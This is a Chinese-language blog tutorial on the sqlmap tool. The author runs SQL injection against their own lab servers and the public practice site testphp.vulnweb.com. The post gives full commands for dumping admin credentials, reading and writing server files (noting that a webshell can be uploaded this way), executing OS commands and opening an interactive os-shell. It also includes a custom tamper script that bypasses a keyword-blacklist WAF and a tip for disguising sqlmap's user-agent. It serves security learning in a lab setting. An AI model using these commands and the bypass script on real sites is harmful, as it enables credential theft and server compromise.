WEB攻防-SQLMAP梭哈(不是)

mikuku4周前叽里咕噜小代码36

提到sql注入,除了手工,那怎么能离得开超好用的sqlmap呢,这一期专门来说说这个工具的使用,虽然我们前面也用了几下,但是也都是最基础的使用了,这次就来点不一样的。


首先关于sqlmap是个啥这里就不多花笔墨了,只用知道他是一个专门用户sql注入的一个非常好用的工具,基本上支持常用的很多数据库,和各种类型的注入方法,学好用他对于测试sql注入这一块还是非常的有帮助的


不过还是先来过一下,首先就是我们前面说过的一个ASP和ACCESS的搭建的网站,这里重新汇总一下,因为是专题嘛

image.png

首先我们知道他这里是有一个注入点的(关于注入点事后面漏洞发现的专题哈)

然后我们就直接用sqlmap来跑一下

sqlmap -u "http://192.168.153.146:81/News.asp?classid=1"

首先基础的什么参数都不带的他就跑是否存在注入点

image.png

看到这个说明,他的意思就是可能存在注入点,然后后面还判断除了数据库的类型

image.png

当他跑到最后有这种回显的时候,说明他就是有注入点的,然后下面有个路径的地址,他是存储你跑过一次的注入点,方便你查看,既然存在注入点,那我们就直接开跑

sqlmap -u "http://192.168.153.146:81/News.asp?classid=1"  --tables

由于他是access数据库,直接从表名开始猜就行了,直接开日

image.png

跑到一半他会问你使用字典的问题,为什么会有这个前面讲asp的时候已经详细说明了原因,不啰嗦

这里sqlmap有他内置的字典,第二个选项就是自定义,如果你有好字典的话可以存储到这个目录下到时候可以选择

image.png

选择默认字典并且最高10线程

image.png

通过字典里内置的表名来跑出数据库里的表,然后我们就可以愉快的查看字段名了

sqlmap -u "http://192.168.153.146:81/News.asp?classid=1"  --columns -T "admin"

查看admin表下面的列名

image.png

既然知道列名了,那当然是查看数据啦

sqlmap -u "http://192.168.153.146:81/News.asp?classid=1" -T "admin" -C "username,password" --dump

查看指定表下的指定列的值

image.png

这最后不就跑出了账号密码吗,这里有md5加密,解密总不用我说了吧

关于asp就没啥好说的,重点来看php


这里找了一个在线的站点来测试

在线sql注入

去申请一个注入地址

image.png

既然测试php,那当然选择这个啦

image.png

随便访问一下获得一个注入点,然后构造语句

首先mysql的话当然是查看数据库名字啦,不过先测试一下真的有注入点吗

sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1"

image.png

跑成这样,那说明是有注入点的啦,那我们就先来注入数据库名

sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --current-db //获取当前数据库名

image.png

查看到这个数据库名字了,那现在就跟上面一样开始注入了

查看表名

sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --tables -D "acuart"

image.png

查看字段名

sqlmap -u "  --columns -T "users" --tables -D "acuart"

image.png

查看字段数据

sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" 
--dump -C "name,pass" --columns -T "users" --tables -D "acuart"

image.png

这就给他日穿了

当然这里还有一个小的信息搜集的东西

sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --is-dba //查看当前用户是否为管理员

image.png

可以看到为False,说明他只是一个普通的用户


普通的测试完毕了,我们回去尝试一下我们高权限用户的注入

sqlmap -u "http://192.168.153.136:8083/news.php?id=1" --current-user //查看当前用户

image.png

哇,是管理员

依旧查看是否有注入点

image.png

既然有,那就走流程

image.png

image.png

image.png

image.png

依旧日穿

然后基础的试完了,现在我们来尝试使用root的权限来操作数据库

sqlmap -u " --sql-shell

image.png

现在等于是进入了数据库的命令行界面,现在想怎么搞就怎么搞image.png

比如查看个数据库名字啊image.png

查看个数据啊,简简单单

当然还有我们熟悉的文件读取

sqlmap -u "http://192.168.153.136:8083/news.php?id=1" --file-read "E:\\1.txt"

image.png

读取的文件存在这个位置,我们去看看

image.png

以及读取哈

还有一个好用的就是当然是写入啦

sqlmap -u " 
 --file-write "/root/.local/share/sqlmap/output/192.168.153.136/files/E__1.txt" --file-dest "E:\\2.txt"

这个命令就是把我们把本机中的一个文件传到服务器中的路径中,所以其实这里直接上传webshell也行

image.pngimage.png

也是直接上传了

他还可以执行系统命令,比如我们让他弹个计算器

sqlmap -u "http://192.168.153.136:8083/news.php?id=1" --os-cmd=calu

image.png

执行到这里需要你指定网站的路径我们的路径肯定就是小皮的路径啦

image.png

这不就成功的弹出来了嘛,他还有一个交互式的命令

sqlmap -u "http://192.168.153.136:8083/news.php?id=1" --os-shell

image.png

直接是把服务器日穿了属于是,有很多哈,具体可以搜搜命令集

关于他的基础注入就差不多了,接着来看高级货


前面我们手工注入的时候还知道,他注入的方法还要分表单的提交方法,get和post两个都是要区别开的

前面我们注入都是get请求,现在我们来看看post的

image.png

image.png

image.png

post请求我们就要把参数带到后面让他认识到这是post请求

sqlmap -u " --data "uname=test&pass=test"

image.png

所以说关于post就是这样用的


文件头注入

首先我们观察一下数据包

image.png

完整的数据包就这个样子,不用的注入点位置不同,也就对应数据包的位置,刚刚post注入不就是在下面那个uname那里注入的吗,而这个文件头呢

首先在目录下创建一个sql.http文件,文件的内容就是上面抓包的内容

image.png

在需要的注入点加入*号,不然他会所有的都尝试,那个太慢了

sqlmap -r .\sql.txt

image.png

他会问你是否在*号这里注入,我们确定

在出结果之前我们先思考一个问题,假如有的网站只能固定设备访问,比如只能手机

如果你直接去注入的话,他使用的是sqlmap自己的请求去访问网站,而他只能手机访问,那不就直接失败了吗,就算你知道有注入点又如何,所以推荐这种使用对方的数据包来进行注入,前面用的--data 使用的也是salmap请求的,虽然简单,但是并不推荐

image.png

在他测试了半天后,发现也是可以成功的注入咯,所以是很推荐用这种方法的,因为避免了格式和限制导致的注入失败。



然后就是挺重要的Tamper模块的使用

至于他是干啥用的,首先我们上次说道参数加密这个东西,他对url中的参数进行了加密,他只接受加密值,如果你使用常规的注入肯定会失败的,比如

image.png

这里参数使用了base64加密,而你还杀杀的用and 1=1 

image.png

当你对参数加密后,他又可以正常的查询了,所以跟我们这个模块有什么关系吗,当然有关系啦,我们首先尝试不带模块的注入

image.png

可以看到他直接就对id这个值无法识别了,所以该怎么办呢

在这个模块里内置了很多的脚本,对应各种需求,具体请看别的文章,这里就是说,我们需要一个脚本吧这个参数值让sqlmap注入的时候自动帮我们编码

sqlmap -u "http://192.168.153.136:8083/base-news.php?id=MQ==" --tamper=base64encode

带上这个base64编码再来试一次

image.png

这不就是可以注入了吗

 sqlmap -u "http://192.168.153.136:8083/base-news.php?id=MQ==" --tamper=base64encode --tables -D "demo01"

image.png

依旧注入,当然他不止这些


他还有一个就是绕过waf这种功能,比如说现在我给我的新闻查询添加一些过滤,让常用的sql注入的语句都失效,比如select这种,直接过滤掉

在新闻查询中插入一个黑名单

// 模拟一个 WAF 过滤(简单 str_ireplace 忽略大小写)
    $blacklist = [
    'select','SELECT','sleep','SLEEP','or','OR','and','AND','elt','ELT','RLIKE','rlike',
    'case','CASE','when','WHEN'
    ];

    foreach ($blacklist as $keyword) {
    $id = str_ireplace($keyword, '', $id);
    }

现在我们再来看看注入的时候会是什么样子

image.png

由于我们设置了过滤,只要是存在的关键词他就直接变成空格,导致现在sql语句失效了,可恶,现在该怎么办呢,首先你要明白,sqlmap他的这个模块是基于你根据对方的网站过滤机制自己研究出的一套绕过方案,并不是说是个waf就能绕过哈


现在再让sqlmap跑跑看,他能不能成功

image.png

他现在能用的语句已经全部被我过滤了,导致他无法注入了现在,那我们该咋办捏,当然是写一个python脚本咯

/usr/share/sqlmap/tamper/news-waf.py


from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    绕过 str_replace() + 黑名单(大小写敏感),通过大小写混淆和注释符插入。
    """

    if payload:
        payload = payload.replace("SELECT", "SeLeCt")
        payload = payload.replace("select", "SeLeCt")

        payload = payload.replace("SLEEP", "SlEeP")
        payload = payload.replace("sleep", "SlEeP")

        payload = payload.replace("OR", "oR")
        payload = payload.replace("or", "oR")

        payload = payload.replace("AND", "aNd")
        payload = payload.replace("and", "aNd")

        payload = payload.replace("ELT", "eLt")
        payload = payload.replace("elt", "eLt")

        payload = payload.replace("RLIKE", "rLikE")
        payload = payload.replace("rlike", "rLikE")

        payload = payload.replace("CASE", "CaSe")
        payload = payload.replace("case", "CaSe")

        payload = payload.replace("WHEN", "wHeN")
        payload = payload.replace("when", "wHeN")

    return payload

现在我们把他存入到他的模块文件夹中,我们去使用一下看看

sqlmap -u "http://192.168.153.136:8083/news-waf.php?id=1" --tamper=news-sql

image.png可以看到他现在也是能成功的注入了,通过大小写交替使用,就可以绕过这个简单的waf,



然后还有几个小芝士

当你尝试使用sql注入的时候,在实战中你肯定不知道他的过滤信息啊,所以说需要一个调试信息来显示sqlmap他跑过的数据包信息,用一个语句可以查看

sqlmap -u "http://192.168.153.136:8083/news-waf.php?id=1" -v 4

0:只显示Python的回溯,错误和关键消息

1:显示信息和警告消息。

2:显示调试消息。

3:有效载荷注入。

4:显示HTTP请求。

5:显示HTTP响应头。

6:显示HTTP响应页面的内容

这个是这个-v参数的使用

image.png

就可以看到sqlmap注入时的payload

还有一个要注意的就是他的ua头,你可以看到是sqlmap版本叽里咕噜的,这个就是典型的sqlmap流量特征,没准碰到啥流量分析的题目就让你找sqlmap的流量痕迹,所以说还有个参数是更改ua头


--user-agent “”#自定义user-agent

--random-agent  #随机user-agent

--time-sec=(2,5) #延迟响应,默认为5 

sqlmap -u "http://192.168.153.136:8083/news-waf.php?id=1" -v 4 --random-agent


image.png

可以看到他的ua头就不一样了


使用更多的测试:测试Header注入

--level=(1-5) 要执行的测试水平等级,默认为1

--risk=(0-3) 测试执行的风险等级,默认为1

这个也是非常重要的,测试深度,选择不同等级注入的方法也就不一样了,这个没啥好说的,实战直接拉满就好了


还有一个就是代理信息了,使用代理配合burp抓包可以更清晰的观察其中的发包信息

--proxy "127.0.0.1:8080"

然后跟上面的组合起来

sqlmap.py -u "http://192.168.153.136:8083/news-waf.php?id=-1" --level=3 --risk=2 --proxy "http://127.0.0.1:8080"

由于我用的虚拟机,这里就不演示了,原理就是这样


关于这个sqlmap使用也就差不多了,很多参数都没说到的话还是网上搜搜吧,这期就只是简单的使用,要想学会还是要多多的乱造咯





相关文章

WEB攻防-ASP-数据库漏洞

WEB攻防-ASP-数据库漏洞

前面叽里咕噜开发整了还挺久,然后挖了很多坑,现在终于是要填坑了,从这一期开始就开始注重漏洞方面的知识了,学习各种漏洞利用,天天日别人网站哈不过其实还有个java没学,那个还是挺重要的,但是吧最近确实没...

WEB攻防-XSS跨站注入(二)

WEB攻防-XSS跨站注入(二)

上期说到普通的XSS注入,这次来说点新的,(谁懂写一半让我重新登录然后笔记全没的救赎感)...

安全开发-web应用-PHP-留言板与登录防护

安全开发-web应用-PHP-留言板与登录防护

当你获得了目标的源码,这时候代码审计看不懂了怎么办,这时候就要学习到奇妙的web开发了,然后学会之后就可以转行去做开发了,当什么网安工程师(狗头)对于我们而言,我们要学习的语言就是通常web开发中经常...

基础入门

基础入门

抓包技术-HTTPS协议-APP&小程序&PC应用&WEB转发联动抓包技术-HTTP/S-WEB&APP&小程序&PC应用1.掌握HTTP/抓包工具的使...

安全开发-web应用-PHP-框架开发

安全开发-web应用-PHP-框架开发

一开始我们学习信息打点的时候我们介绍过了框架这个东西,框架就是第三方开发的一个源码,里面核心内容也就是网站的各个功能都是开发好的,只需要把相应的配置配好,就可以直接开始使用了,对于简单的网站搭建还是很...

WEB攻防-XSS跨站注入(一)

WEB攻防-XSS跨站注入(一)

XSS跨站漏洞,这个漏洞的原理就是通过可控制的某些函数,植入payload然后用户通过访问到这个被攻击的地方触发了漏洞,然后就执行了一次攻击,听起来好像就没啥,这个漏洞确实也没啥,因为他大部分都是在前...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。